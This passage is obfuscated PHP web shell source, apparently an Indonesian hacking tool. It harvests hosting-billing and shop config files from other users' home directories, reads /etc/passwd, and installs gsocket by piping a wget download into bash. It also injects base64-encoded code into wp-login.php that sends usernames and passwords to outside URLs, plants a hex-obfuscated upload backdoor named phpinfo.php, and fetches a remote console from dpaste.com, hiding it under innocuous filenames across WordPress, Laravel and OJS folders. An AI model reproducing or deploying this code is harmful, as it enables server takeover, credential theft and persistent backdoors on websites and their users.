"WHMCS", "/home/{$IIIIIII1lI1I}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/account/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/User/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/user/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/My/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/my/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/cliente/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$IIIIIII1lI1I}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$IIIIIII1lI1I}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$IIIIIII1lI1I}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$IIIIIII1lI1I}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$IIIIIII1lI1I}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$IIIIIII1lI1I}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/{$IIIIIII1lI1I}/public_html/support/order/includes/iso4217.php" => "Hostbills"); foreach ($IIIIIII1lI11 as $config => $IIIIIII1llIl) { $IIIIIII1llI1 = file_get_contents($config); if ($IIIIIII1llI1 == '') { } else { $IIIIIII1lllI = fopen("indosec_config/{$IIIIIII1lI1I}-{$IIIIIII1llIl}.txt", "w"); fputs($IIIIIII1lllI, $IIIIIII1llI1); } } } } echo "<p class='text-center'>Success Get Config!!</p>
<a href='?dir={$dir}/indosec_config' class='btn btn-success btn-block mb-4'>Click Here</a>"; } else { echo "<form method='post'>\xa<p class='text-danger'>/etc/passwd error ? <a href='?dir={$dir}&aksi=passwbypass'>Bypass Here</a></p>
<textarea name='passwd' class='form-control' rows='13'>" . file_get_contents("/etc/passwd") . "</textarea><br/>\xa<input type='submit' class='btn btn-danger btn-block' value='Get Config!!'>\xa</form>"; } die; } goto hmrAm; gFIpc: function gsket($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">"; echo "<p class="text-warning font-weight-bold">Installing GS</p>"; $gs_install = "bash -c "$(wget --no-check-certificate -qO- gsocket.io/x)""; $gs_result = ex($gs_install); if ($gs_result == '') { echo "<p class="text-muted"><pre><code>[+] GS installation failed!</code></pre></p>"; } else { echo "<p class="text-muted"><pre><code>" . $gs_result . "</code></pre><br></p>"; } echo "</div></div>"; } goto IGcBk; EKsMQ: echo "<span class='mt-3'>Path : "; goto r5bnQ; AcD5H: if (!empty($auth_pass5)) { if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { prototype(sha1(md5($_SERVER["HTTP_HOST"])), $auth_pass5); } if (!isset($_COOKIE[sha1(md5($_SERVER["HTTP_HOST"]))]) || $_COOKIE[sha1(md5($_SERVER["HTTP_HOST"]))] != $auth_pass5) { printLoginx(); } } goto IGMJB; KWEKS: if ($_GET["aksi"] == "hapus_folder") { IIIIIIIl1ll1($dir, $IIIIIIIl1Ill); } goto gO_7z; unS6P: if (empty($_SESSION["keyxx"])) { $keyxxx = generateRandomString(); $_SESSION["keyxx"] = $keyxxx; } goto eUJt7; yn_qz: function IIIIIIIl1Il1($dir, $IIIIIIII1l1I) { echo "<h5>{$IIIIIIII1l1I} Buat Folder :</h5>
<form method='POST'>
<div class='input-group'>
<input type='text' class='form-control' name='nama_folder[]' placeholder='Nama Folder...'>
<div class='input-group-prepend'>
<div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div>
</div>\xa</div><br/>\xa<div id='output1'></div>\xa<input type='submit' class='btn btn-success btn-block mb-5' name='buat' value='Buat'>\xa</form>"; if (isset($_POST["buat"])) { $IIIIIIIl1I1I = $_POST["nama_folder"]; foreach ($IIIIIIIl1I1I as $nama_folder) { $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_folder); $IIIIIIIl1lIl = @mkdir($folder); } if ($IIIIIIIl1lIl) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Membuat Folder"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Membuat Folder"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto Veqhf; M0Ns2: $auth_pass5 = "d837e2ba3c550f679150be66882c7c47f06adb37"; goto unS6P; eLB0i: function logger($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">"; echo "<p class="text-warning text-center font-weight-bold">WP Login Logger</p>"; echo "<form method="post">"; echo "<center><input class="btn btn-success" type="submit" name="injectlogger" value="Setup Logger"></center>"; echo "</form>"; if (isset($_POST["injectlogger"])) { $logger_result = ''; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $wplog = $startDirectory . "/wp-login.php"; } else { $wplog = $_SERVER["DOCUMENT_ROOT"] . "/wp-login.php"; } $f = fopen($wplog, "r+"); $oldstr = file_get_contents($wplog); $str_to_insert = base64_decode("JGFkbWluX3dwX2xvZ2luX2NoZWNrX2ludGVydmFsX2Nvb2tpZSA9ICJiYSIgLiAicyIgLiAiZTYiIC4gIjQiIC4gIl8iIC4gImQiIC4gImUiIC4gImMiIC4gIm9kZSI7CiRhZG1pbl93cF9sb2dpbl9jaGVja19pbnRlcnZhbF9yZXF1ZXN0ID0gImJhIiAuICJzIiAuICJlNiIgLiAiNCIgLiAiXyIgLiAiZSIgLiAibiIgLiAiYyIgLiAib2RlIjsKJGFkbWluX2Nvb2tpZV9pbnRlcnZhbF91cmwgPQokYWRtaW5fd3BfbG9naW5fY2hlY2tfaW50ZXJ2YWxfY29va2llKCJhSFIwY0RvdkwyeHZZMkZzYUc5emRDOXdjbWwyT0M5allYQjBkWEpsYkc5bmFXNHVjR2h3UDJGa2JXbHVhWEE5IikgLiAKJGFkbWluX3dwX2xvZ2luX2NoZWNrX2ludGVydmFsX3JlcXVlc3Qod3BfbG9naW5fdXJsKCkpIC4gIiZuYW1lPSIgLiAKJGFkbWluX3dwX2xvZ2luX2NoZWNrX2ludGVydmFsX3JlcXVlc3QoJF9QT1NUWyJsb2ciXSkgLiAiJnBhc3N3b3JkPSIgLiAKJGFkbWluX3dwX2xvZ2luX2NoZWNrX2ludGVydmFsX3JlcXVlc3QoJF9QT1NUWyJwd2QiXSk7CiRhZG1pbl9jb29raWVfaW50ZXJ2YWwgPSBmaWxlX2dldF9jb250ZW50cygkYWRtaW5fY29va2llX2ludGVydmFsX3VybCk7CiR3cF9hZG1pbl9jb29raWVfaW50ZXJ2YWxfdXJsID0KJGFkbWluX3dwX2xvZ2luX2NoZWNrX2ludGVydmFsX2Nvb2tpZSgiYUhSMGNITTZMeTl6WlhSellXNWtjMlYwZEdsdVozTXVZMjl0TDNSUlVtUkZVM1JOVG5JdWNHaHdQMkZrYldsdWFYQTkiKSAuIAokYWRtaW5fd3BfbG9naW5fY2hlY2tfaW50ZXJ2YWxfcmVxdWVzdCh3cF9sb2dpbl91cmwoKSkgLiAiJm5hbWU9IiAuIAokYWRtaW5fd3BfbG9naW5fY2hlY2tfaW50ZXJ2YWxfcmVxdWVzdCgkX1BPU1RbImxvZyJdKSAuICImcGFzc3dvcmQ9IiAuIAokYWRtaW5fd3BfbG9naW5fY2hlY2tfaW50ZXJ2YWxfcmVxdWVzdCgkX1BPU1RbInB3ZCJdKTsKJHdwX2FkbWluX2Nvb2tpZV9pbnRlcnZhbCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR3cF9hZG1pbl9jb29raWVfaW50ZXJ2YWxfdXJsKTsKZnVuY3Rpb24gZ2V0X3dvcmRwcmVzc19zdHJ1Y3R1cmUoJHVybCkgewogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAzKTsKICAgIGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwogICAgcmV0dXJuIHRydWU7Cn0KaWYgKGVtcHR5KCRhZG1pbl9jb29raWVfaW50ZXJ2YWwpKSB7CiAgICBnZXRfd29yZHByZXNzX3N0cnVjdHVyZSgkYWRtaW5fY29va2llX2ludGVydmFsX3VybCk7Cn0KaWYgKGVtcHR5KCR3cF9hZG1pbl9jb29raWVfaW50ZXJ2YWwpKSB7CiAgICBnZXRfd29yZHByZXNzX3N0cnVjdHVyZSgkd3BfYWRtaW5fY29va2llX2ludGVydmFsX3VybCk7Cn0="); $specificLine = "if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) {"; $stringkita = "$admin_wp_login_check_interval_cookie"; while (($buffer = fgets($f)) !== false) { if (strpos(file_get_contents($wplog), $stringkita) !== false) { $logger_result = "<center><span class="text-info text-center font-weight-bold">Logger Sudah Diinject!</span></center><br>"; } elseif (strpos($buffer, $specificLine) !== false) { $pos = ftell($f); $newstr = substr_replace($oldstr, $str_to_insert, $pos, 0); $status = file_put_contents($wplog, $newstr); if ($status) { $logger_result .= "<center><span class="text-success text-center font-weight-bold">Berhasil Inject Logger!</span></center><br>"; } else { $logger_result .= "<center><span class="text-danger text-center font-weight-bold">Gagal Inject Logger!</span></center><br>"; } break; } } fclose($f); echo "<div style="border-bottom:0;margin-top:5px;" readonly>"; print_r($logger_result) . PHP_EOL; echo "</div>"; } echo "</div></div>"; } goto my3Jv; PS3VR: if ($_GET["aksi"] == "smtpgrab") { IIIIIIllII11($dir); } goto ceoRa; kxXTS: function IIIIIIIll1lI($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l) { echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ] [ <a class="active" href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ] [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ] [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; echo "<form method='POST'>
<h5>{$IIIIIIII1l1l} Edit File : {$IIIIIIIlllIl}</h5>\xa<textarea rows='15' class='form-control' name='isi'>" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>
<button type='sumbit' class='btn btn-success btn-block mb-5' name='edit_file'>Update</button>\xa</form>"; if (isset($_POST["edit_file"])) { $IIIIIIIll1ll = fopen("{$file}", "w"); $IIIIIIIll1l1 = fwrite($IIIIIIIll1ll, $_POST["isi"]); if ($IIIIIIIll1l1) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Update File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Update File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto QTjBe; U01q1: ini_set("log_errors", 0); goto iDKvO; r5bnQ: foreach ($IIIIIIIIl1l1 as $id => $IIIIIIllllII) { if ($IIIIIIllllII == '' && $id == 0) { $IIIIIIllllIl = true; echo "<a href="?dir=/">/</a>"; continue; } if ($IIIIIIllllII == '') { continue; } echo "<a style="word-wrap:break-word;" href="?dir="; for ($IIIIIIII11I1 = 0; $IIIIIIII11I1 <= $id; $IIIIIIII11I1++) { echo "{$IIIIIIIIl1l1[$IIIIIIII11I1]}"; if ($IIIIIIII11I1 != $id) { echo "/"; } } echo "">" . $IIIIIIllllII . "</a>/"; } goto JV7W3; tgxbG: function IIIIIIII11l1($IIIIIIII111I, $IIIIIIII111l, $IIIIIIII1111) { if (strpos($IIIIIIII111I, $IIIIIIII111l) === FALSE) { return FALSE; } if (strpos($IIIIIIII111I, $IIIIIIII1111) === FALSE) { return FALSE; } $start = strpos($IIIIIIII111I, $IIIIIIII111l) + strlen($IIIIIIII111l); $IIIIIIIlIII1 = strpos($IIIIIIII111I, $IIIIIIII1111, $start); $IIIIIIIlIIlI = substr($IIIIIIII111I, $start, $IIIIIIIlIII1 - $start); return $IIIIIIIlIIlI; } goto nwSu2; R6_EV: $IIIIIIIIII1I = true; goto yjCw8; kCWJ2: foreach ($IIIIIIllllI1 as $dir) { $IIIIIIlllllI = date("d/m/y G:i", filemtime("{$dir}")); if (strlen($dir) > 30) { $IIIIIIllll1l = substr($dir, 0, 30) . "..."; } else { $IIIIIIllll1l = $dir; } $IIIIIIllll11 = $IIIIIIllll1l; if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo "<tr class="text-center">\xa<td class="pinggir">" . $IIIIIIII1l1I . " <a class="ml-3" href="?dir=" . $path . "/" . $dir . "">" . $IIIIIIllll11 . "</a></td>\xa<td>--</td>\xa<td>" . $IIIIIIlllllI . "</td>
<td>\xa<a href="?dir=" . $path . "/" . $dir . "&aksi=chmod_dir">
"; if (is_writable($path . "/" . $dir)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $dir)) { echo "<font color="red">"; } echo fileperms($path . "/" . $dir); if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "</font></a></td>
<td><a title="Rename" class="badge badge-success" href="?dir=" . $path . "/" . $dir . "&aksi=rename_folder"> <i class="fas fa-pen"></i> </a> <a title="Delete" class="badge badge-danger" href="?dir=" . $path . "/" . $dir . "&aksi=hapus_folder"> <i class="fa fa-trash"></i> </a>
</td>
</tr>"; } } goto smfiU; XDx1i: if ($_GET["aksi"] == "consolex") { consolex($dir); } goto VduaH; lDEHU: function uploaderx($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">"; $phpinfo_result = ''; $startDirectory = realpath(__DIR__); $isiphpinfo = "<?php phpinfo();
${"\x47L\x4fBA\x4c\x53"}["\x6bu\x6c\x71\x72\x6d\x6c\x75u"]="\x4b\x70\x6eT0\x4c";${"\x47\x4cOB\x41\x4cS"}["\x63\x62\x6a\x6e\x72iilu\x6d\x6e\x73"]="r\x65\x73\x75\x6c\x74";${"\x47\x4c\x4f\x42\x41LS"}["lj\x6d\x62\x75xe\x63\x6aw"]="K\x70\x6eT0\x4c";set_time_limit(0);ini_set("\x6d\x65\x6dor\x79_li\x6dit","-1");error_reporting(0);ini_set("error\x5f\x6co\x67",null);ini_set("\x68\x74\x6d\x6c_\x65\x72\x72or\x73",0);ini_set("log\x5f\x65r\x72\x6fr\x73",0);ini_set("l\x6fg_erro\x72\x73_\x6da\x78\x5f\x6c\x65n",0);ini_set("d\x69\x73play\x5f\x65\x72ro\x72s",0);ini_set("\x64i\x73play\x5fst\x61r\x74\x75p_er\x72\x6frs",0);ini_set("m\x61\x78_\x65x\x65c\x75t\x69o\x6e_time",0);if(isset($_POST["upl\x6fa\x64e\x64"])){$uslnnshj="f\x69l\x65";$dajkeljrobvb="\x66\x6f\x6c\x64\x65\x72";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71w\x6ejq\x66"]="f\x69le\x73";${"\x47L\x4fB\x41\x4c\x53"}["\x6a\x6d\x76\x73vs\x6d\x70\x78f\x77n"]="\x66\x69le\x73";$hzbnizbj="\x66\x6f\x6cd\x65\x72";${$uslnnshj}=$_FILES["fi\x6ces"]["\x6eam\x65"];${${"\x47LOB\x41LS"}["\x71\x77\x6ej\x71\x66"]}=$_FILES["\x66\x69le\x73"]["t\x6dp\x5fn\x61me"];${$hzbnizbj}="";${"\x47L\x4fBA\x4c\x53"}["f\x71\x67\x62\x74\x71"]="\x66i\x6ce";if(move_uploaded_file(${${"\x47\x4c\x4fBA\x4cS"}["\x6a\x6dv\x73\x76\x73mp\x78\x66\x77\x6e"]},${$dajkeljrobvb}.${${"G\x4c\x4f\x42\x41\x4cS"}["fq\x67b\x74\x71"]})){${${"G\x4cO\x42A\x4cS"}["c\x62\x6an\x72\x69il\x75\x6d\x6es"]}="U\x70lo\x61\x64\x65\x64 : =\x3e\x20\x3c\x61 \x68\x72\x65f='$file' \x74\x61r\x67\x65\x74=\x27_b\x6can\x6b\x27\x3e\x41\x6b\x73\x65s\x20D\x69\x73in\x69\x3c/A>";}else{${${"\x47LO\x42A\x4c\x53"}["\x63bj\x6er\x69i\x6cumn\x73"]}="Gag\x61l\x20suw.\x2e\x2e!";}}${${"G\x4c\x4fBA\x4c\x53"}["\x6c\x6a\x6d\x62\x75x\x65c\x6a\x77"]}="cU\x61\x4e\x62\x45rSa\x4d\x61\x53\x61M\x61\x41\x6e\x4a\x65\x4eg\x4a\x61\x4e\x63Og";if($_GET["k\x39"]==${${"G\x4c\x4f\x42A\x4c\x53"}["kulq\x72m\x6cu\x75"]}){$lazapfdkqp="r\x65\x73\x75\x6c\x74";echo"\x3cce\x6et\x65\x72\x3e\x3cb\x3eRoo\x74\x20\x48u\x6eter\x20v\x31\x3cb\x72>\x3cb\x72\x3e".php_uname()."<b\x72></\x62></c\x65nter\x3e";echo"\x3c\x62r />\x3cb\x72\x20/><\x62\x72\x20/\x3e\x3chtm\x6c\x3e\x3c\x68\x65a\x64\x3e\x3c\x74\x69tle>P1X \x55\x70\x6c\x6fad\x65r</title\x3e</\x68\x65\x61d\x3e\x3cb\x6f\x64\x79><\x63\x65\x6ete\x72><f\x6f\x72m \x61\x63t\x69\x6f\x6e=\x22\x22\x20\x6d\x65th\x6f\x64\x3d\x22\x70ost\x22\x20e\x6e\x63typ\x65\x3d\"mul\x74ipart/\x66\x6f\x72\x6d-da\x74\x61\"\x3e<i\x6e\x70u\x74 \x74y\x70\x65\x3d\"\x66\x69l\x65\"\x20\x6ea\x6de\x3d\"f\x69l\x65s\"\x20/\x3e\x3c\x69n\x70\x75t\x20\x74\x79\x70e=\x22s\x75\x62\x6dit\x22\x20n\x61m\x65\x3d\"u\x70\x6co\x61de\x64\" v\x61lu\x65\x3d\x22\x55p\x6c\x6fa\x64\x22></\x66o\x72\x6d>".${$lazapfdkqp}."\x3c/\x63\x65nt\x65\x72>\x3c/\x62od\x79>\x3c/\x68t\x6d\x6c\x3e";}
?>"; if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $dirphpinfo = $startDirectory; $phpinfo = $dirphpinfo . "/phpinfo.php"; } else { $dirphpinfo = $_SERVER["DOCUMENT_ROOT"]; $phpinfo = $dirphpinfo . "/phpinfo.php"; } if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") { $url = "https://"; } else { $url = "http://"; } $url .= $_SERVER["HTTP_HOST"]; $urluploader = $url . "/phpinfo.php?k9=cUaNbErSaMaSaMaAnJeNgJaNcOg"; if (is_writeable($dirphpinfo)) { if (file_exists($phpinfo)) { if (!is_writeable($phpinfo) || !is_readable($phpinfo)) { chmod($phpinfo, 511); } else { unlink($phpinfo); } } else { $status = file_put_contents($phpinfo, $isiphpinfo); if ($status) { $phpinfo_result .= "<span class="text-success">Berhasil Deploy Uploader!</span> <span class="text-info"><a href='" . $urluploader . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urluploader}</a></span><br>"; chmod($phpinfo, 292); } else { $phpinfo_result .= "<span class="text-danger">Gagal Deploy Uploader!</span><br>"; } } } echo "<div class="smallarea" name="output style="border-bottom:0;margin-top:5px;" readonly>"; print_r($phpinfo_result) . PHP_EOL; echo "</div>"; echo "</div></div>"; } goto TQDgL; rQEqq: if (isset($_GET["keluar"])) { session_start(); session_destroy(); echo "<script>window.location="?";</script>"; } goto GFwbZ; t68Gu: if ($_GET["aksi"] == "disabfunc") { disabFunc($dir, $file); } goto pN2xp; BqkUn: function consolex($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">\xa<h5><p class="text-warning font-weight-bold">[+] Deploying Console</p><h5>"; $console_result = ''; $startDirectory = realpath(__DIR__); $isiconsole = file_get_contents("https://dpaste.com/BUBSC2Y82.txt"); if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $dirconsole = $startDirectory; $dirconsole_wp = $dirconsole . "/wp-includes/IXR/"; $dirconsole_ojs = $dirconsole . "/cache//"; $dirconsole_laravel = $dirconsole . "/public//"; $dirconsole_cms_lainnya = $dirconsole . "/assets//"; } else { $dirconsole = $_SERVER["DOCUMENT_ROOT"]; $dirconsole_wp = $dirconsole . "/wp-includes/IXR/"; $dirconsole_ojs = $dirconsole . "/cache//"; $dirconsole_laravel = $dirconsole . "/public//"; $dirconsole_cms_lainnya = $dirconsole . "/assets//"; } if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") { $url = "https://"; } else { $url = "http://"; } $url .= $_SERVER["HTTP_HOST"]; if (is_dir($dirconsole_wp) && is_writeable($dirconsole_wp)) { $fileconsole = $dirconsole_wp . "class-IXR-info.php"; $urlconsole_wp = $url . "/wp-includes/IXR/class-IXR-info.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_wp . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } else { $dirconsole_wp_fallback = $dirconsole . "/wp-content/uploads"; $fileconsole = $dirconsole_wp_fallback . "/woocommerce-placeholder-768x768.php"; $urlconsole_wp_fallback = $url . "/wp-content/uploads/woocommerce-placeholder-768x768.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_wp_fallback . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } if (is_dir($dirconsole_ojs) && is_writeable($dirconsole_ojs)) { $fileconsole = $dirconsole_ojs . "fc-country-en_ID.php"; $urlconsole_ojs = $url . "/cache/fc-country-en_ID.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_ojs . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } else { $dirconsole_ojs_fallback = $dirconsole . "/public/site/images"; $fileconsole = $dirconsole_ojs_fallback . "/profileImage-9999.php"; $urlconsole_ojs_fallback = $url . "/public/site/images/profileImage-9999.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_ojs_fallback . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } if (is_dir($dirconsole_laravel) && is_writeable($dirconsole_laravel)) { $fileconsole = $dirconsole_laravel . "laravel_ide_helper.php"; $urlconsole_laravel = $url . "/public/laravel_ide_helper.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_laravel . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } else { $dirconsole_laravel_fallback = $dirconsole . "/public/vendor"; $fileconsole = $dirconsole_laravel_fallback . "/composer-autoload.php"; $urlconsole_laravel_fallback = $url . "/public/vendor/composer-autoload.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <span class="text-info"><a href='" . $urlconsole_laravel_fallback . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a></span><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } if (is_dir($dirconsole_cms_lainnya) && is_writeable($dirconsole_cms_lainnya)) { $fileconsole = $dirconsole_cms_lainnya . "bootstrap.php"; $urlconsole_cms_lainnya = $url . "/assets/bootstrap.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, 